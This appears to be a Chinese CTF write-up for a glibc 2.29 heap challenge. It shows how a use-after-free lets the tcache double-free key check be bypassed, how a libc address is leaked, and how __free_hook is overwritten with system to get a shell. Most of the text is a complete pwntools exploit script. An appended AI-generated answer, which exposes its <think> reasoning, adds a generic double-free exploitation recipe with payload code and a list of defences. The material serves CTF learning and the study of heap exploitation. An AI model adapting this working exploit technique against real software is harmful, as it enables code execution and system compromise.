i春秋2020新春战役PWN之document(绕过tcache的double free检测)

本文详细解析了UAF(Use After Free)漏洞的利用方式,特别是在glibc 2.29版本中如何绕过tcache机制的双删检查。通过精心构造的双删操作和内存布局,成功泄露了地址并最终获取shell。此过程涉及对tcache_entry结构的理解和对内存管理函数的深入分析。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Document

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,经典的增删改查程序

Delete功能没有清空指针,存在UAF漏洞

Create功能的size不可控

UAF无法修改到*heap处的内容,也就是next指针的值

Create功能最多允许创建7个堆

题目给我们的glibc版本为2.29,存在tcache机制,且增加了对tcache double free的检查。

  1. typedef struct tcache_entry  
  2. {  
  3.   /*指向下一个空闲chunk*/  
  4.   struct tcache_entry *next;  
  5.   /* 用来检测double free*/  
  6.   struct tcache_perthread_struct *key;  
  7. } tcache_entry;  

让我们来看看是如何检测的吧

  1. /* Check to see if it's already in the tcache.  */  
  2. tcache_entry *e = (tcache_entry *) chunk2mem (p);  
  3.   
  4. /* This test succeeds on double free.  However, we don't 100% 
  5.    trust it (it also matches random payload data at a 1 in 
  6.    2^<size_t> chance), so verify it's not an unlikely 
  7.    coincidence before aborting.  */  
  8. if (__glibc_unlikely (e->key == tcache)) {  
  9.     tcache_entry *tmp;  
  10.     LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);  
  11.     for (tmp = tcache->entries[tc_idx];  
  12.             tmp;  
  13.             tmp = tmp->next)  
  14.         if (tmp == e)  
  15.             malloc_printerr ("free(): double free detected in tcache 2");  
  16.     /* If we get here, it was a coincidence.  We've wasted a 
  17.        few cycles, but don't abort.  */  
  18. }  

显然,如果我们让e->key == tcache不成立,就能够double free了。

而之前,我们分析了edit函数,changeSex功能可以修改key指针的低1字节,那么就能使得这个不再成立。于是,我们先用double free来将0x90的tcache bin填满7个。

  1. #0  
  2. create('a'*0x8,'a'*0x70)  
  3. #1  
  4. create('b'*0x8,'b'*0x70)  
  5. #2  
  6. create('c'*0x8,'c'*0x70)  
  7. #3  
  8. create('d'*0x8,'d'*0x70)  
  9.   
  10. delete(0)  
  11. #修改key,偏移1,绕过了double free检查  
  12. edit(0,'a'*0x70)  
  13. delete(0)  
  14.   
  15. delete(1)  
  16. edit(1,'a'*0x70)  
  17.   
  18. delete(2)  
  19. #修改key,偏移1,绕过了double free检查  
  20. edit(2,'a'*0x70)  
  21. delete(2)  
  22.   
  23. delete(3)  
  24. #修改key,偏移1,绕过了double free检查  
  25. edit(3,'a'*0x70)  
  26. delete(3)  

接下来,继续delete,就能将chunk放入unsorted bin了,再利用UAF泄露地址。

  1. #由于前面,把tcache给填满了,现在这个就放入unsorted bin  
  2. delete(1)  
  3. show(1)  
  4.   
  5. sh.recvuntil('\n')  
  6. main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))  
  7. malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  8. libc_base = malloc_hook_addr - malloc_hook_s  
  9. free_hook_addr = libc_base + free_hook_s  
  10. system_addr = libc_base + system_s  
  11. print 'libc_base=',hex(libc_base)  
  12. print 'free_hook_addr=',hex(free_hook_addr)  
  13. print 'system_addr=',hex(system_addr)  

现在,堆布局是这样的

那么,就能很容易利用了。我们的完整exp脚本

#coding:utf8
from pwn import *

sh = process('./document')
#sh = remote('node3.buuoj.cn',26208)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

def create(name,content):
   sh.sendlineafter('Give me your choice :','1')
   sh.sendafter('input name',name)
   sh.sendafter('input sex','M')
   sh.sendafter('input information',content)

def show(index):
   sh.sendlineafter('Give me your choice :','2')
   sh.sendlineafter('Give me your index :',str(index))

def edit(index,content,changeSex = 'Y'):
   sh.sendlineafter('Give me your choice :','3')
   sh.sendlineafter('Give me your index :',str(index))
   #这一步至关重要
   sh.sendafter('Are you sure change sex?',changeSex)
   sh.sendafter('Now change information',content)

def delete(index):
   sh.sendlineafter('Give me your choice :','4')
   sh.sendlineafter('Give me your index :',str(index))

#0
create('a'*0x8,'a'*0x70)
#1
create('b'*0x8,'b'*0x70)
#2
create('c'*0x8,'c'*0x70)
#3
create('d'*0x8,'d'*0x70)

delete(0)
#修改key,偏移1,绕过了double free检查
edit(0,'a'*0x70)
delete(0)

delete(1)
edit(1,'a'*0x70)

delete(2)
#修改key,偏移1,绕过了double free检查
edit(2,'a'*0x70)
delete(2)

delete(3)
#修改key,偏移1,绕过了double free检查
edit(3,'a'*0x70)
delete(3)

#由于前面,把tcache给填满了,现在这个就放入unsorted bin里
delete(1)
show(1)

sh.recvuntil('\n')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)

#将free_hook_addr链接到tcache bin
create(p64(free_hook_addr),'a'*0x70) #4
create('/bin/sh\x00','a'*0x70) #5
#写free_hook
create(p64(system_addr),'a'*0x70) #6
#getshell
delete(5)

sh.interactive()

 

<think>好的,我现在需要回答用户关于PWNdouble free漏洞的利用方法和防御措施的问题。首先,我需要回忆一下double free的基本概念。Double free指的是在程序中多次释放同一块内存,这可能导致内存管理数据结构的破坏,进而被攻击者利用。 根据引用[1]中提到,常规题目中主函数可能存在触发shell的条件,但free函数对UAF(Use After Free)和double free(df)有防御措施,无法直接突破。然而,edit函数存在漏洞,允许控制写入字节,导致overlapping攻击。这说明即使有防御,如果其他函数存在漏洞,仍可能被利用。 接下来,引用[2]指出,double free原语几乎无懈可击,但UAF或溢出漏洞需要精确修改结构体中的特定位置值。如果攻击者能控制写入的位置和内容,就能绕过防御,比如修改chunk的指针,构造任意地址读写。 然后,引用[3]关于堆风水的部分提到,堆排布是堆漏洞利用的关键,需要熟悉glibc的内存管理策略。破坏堆内存管理的数据结构如bin或chunk,可以导致任意内存读写或控制流劫持。防御方法包括Heap Canary、CFI、ASLR等。 现在,结合这些信息,我需要整理利用double free的步骤。首先,触发double free,连续释放同一chunk两次,这会使得bin链表出现循环。接着,通过堆排布,重新分配这些chunk,并利用edit函数修改fd或bk指针,指向伪造的chunk。然后,分配伪造的chunk,实现任意地址写,比如修改GOT表或函数指针,最后劫持控制流执行shellcode或ROP链。 防御措施方面,引用[2]和[3]提到,glibc的改进如tcache double free检测,在释放时会检查chunk是否已在链表中。此外,Heap Canary可以检测溢出,ASLR和DEP增加利用难度。代码审计和安全机制如CFI也能有效防御。 需要确保回答结构清晰,分点说明利用方法和防御措施,并引用提供的资料。同时,按照用户要求,生成相关问题,例如利用步骤、防御技术、绕过方法等。</think>### PWNdouble free漏洞的利用与防御分析 #### 1. Double Free漏洞原理 double free指对同一块堆内存进行多次释放,破坏glibc内存管理结构(如tcache或fastbin的链表),导致内存布局可控。例如,连续释放chunk A两次后,其fd指针可能形成循环链表,后续分配时可构造重叠的chunk,最终实现任意地址读写或控制流劫持[^2][^3]。 #### 2. 利用方法及步骤 **典型利用流程**: 1. **触发double free**:通过程序逻辑连续释放同一chunk两次,例如: ```c free(ptr); free(ptr); // 触发double free ``` 2. **堆排布(Heap Feng Shui)**:通过分配特定大小的chunk,控制内存布局,使后续分配的chunk覆盖关键数据。 3. **修改链表指针**:利用存在漏洞的`edit`函数修改chunk的`fd`或`bk`指针,指向伪造的chunk(如GOT表、`__free_hook`等)[^1]。 4. **分配伪造chunk**:通过`malloc`获取指向目标地址的指针,实现任意地址写入,例如修改`__free_hook`为`system`地址。 5. **触发执行流劫持**:调用`free`或相关函数时,跳转至攻击者控制的代码(如ROP链或shellcode)[^4]。 **示例场景**: 若程序允许写入释放后的chunk,攻击者可构造如下payload: ```python # 假设chunk大小为0x20 add(0x20, "A") # chunk A free(0) free(0) # double free edit(0, p64(libc_base + 0x1eeb28)) # 修改fd指针指向__free_hook add(0x20, "B") # 分配chunk A add(0x20, "/bin/sh") # 分配chunk A的fd指向位置(即__free_hook) add(0x20, p64(system_addr)) # 将__free_hook覆盖为system free("/bin/sh") # 触发system("/bin/sh") ``` #### 3. 防御措施 1. **glibc防护机制**: - **tcache double free检测**:glibc 2.29+在释放时会检查chunk是否已在tcache链表中。 - **fastbin完整性校验**:分配时验证`fd`指针是否指向合法内存区域。 2. **堆内存保护技术**: - **Heap Canary**:检测溢出对管理结构的破坏。 - **Safe-Linking**(glibc 2.32+):对链表指针进行异或加密,增加伪造难度。 3. **系统级防护**: - **ASLR**:随机化地址空间,增加定位目标的难度。 - **DEP**:阻止攻击者执行堆栈中的shellcode[^3]。 4. **代码审计**: - 严格检查`free`前后指针置空情况,避免悬垂指针。 - 限制用户对chunk内容的写入范围和权限。 #### 4. 绕过防御的常见方法 - **利用其他漏洞组合**:若存在堆溢出或UAF,可覆盖`key`字段(tcachedouble free检测标志)。 - **构造特定内存布局**:通过大量分配/释放操作,使伪造的chunk通过glibc的完整性检查。 - **劫持控制流的替代目标**:若`__free_hook`被保护,可转向修改`_IO_FILE`结构体或ROP链[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值